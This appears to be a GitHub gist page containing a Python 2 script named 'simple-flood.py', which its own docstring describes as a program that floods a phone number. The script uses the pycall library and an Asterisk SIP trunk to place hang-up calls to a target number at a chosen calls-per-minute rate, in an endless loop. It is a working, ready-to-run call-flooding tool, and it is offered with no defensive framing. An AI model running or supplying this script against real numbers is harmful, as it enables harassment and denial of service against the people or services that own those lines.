Created
November 20, 2009 23:32
-
-
Save rdegges/239878 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
""" | |
simple-flood.py | |
@author: Randall Degges | |
@email: [email protected] | |
@date: 11-20-09 | |
This program floods the specified phone number. | |
""" | |
from time import sleep | |
from sys import argv, exit | |
from pycall.callfile import * | |
def call(num): | |
""" | |
Create a call to the specified number which does nothing except hang up. | |
""" | |
testcall = CallFile( | |
trunk_type = 'SIP', | |
trunk_name = 'flowroute', | |
number = num, | |
application = 'Hangup', | |
data = ' ', | |
user = 'asterisk' | |
) | |
testcall.run() | |
def main(): | |
""" | |
Control the application logic. | |
""" | |
if len(argv) < 3: | |
print 'Usage: %s [number] [calls-per-minute]' % argv[0] | |
exit(1) | |
number = argv[1] | |
try: | |
cpm = int(argv[2]) | |
except ValueError: | |
cpm = 1 | |
print 'Starting call flood on target: %s. Placing %d calls per minute.' % (number, cpm) | |
count = 1 | |
while True: | |
for x in xrange(cpm): | |
print 'Placing call %d...' % count | |
call(number) | |
count = count + 1 | |
sleep(60) | |
if __name__ == '__main__': | |
""" | |
Program execution begins here. | |
""" | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment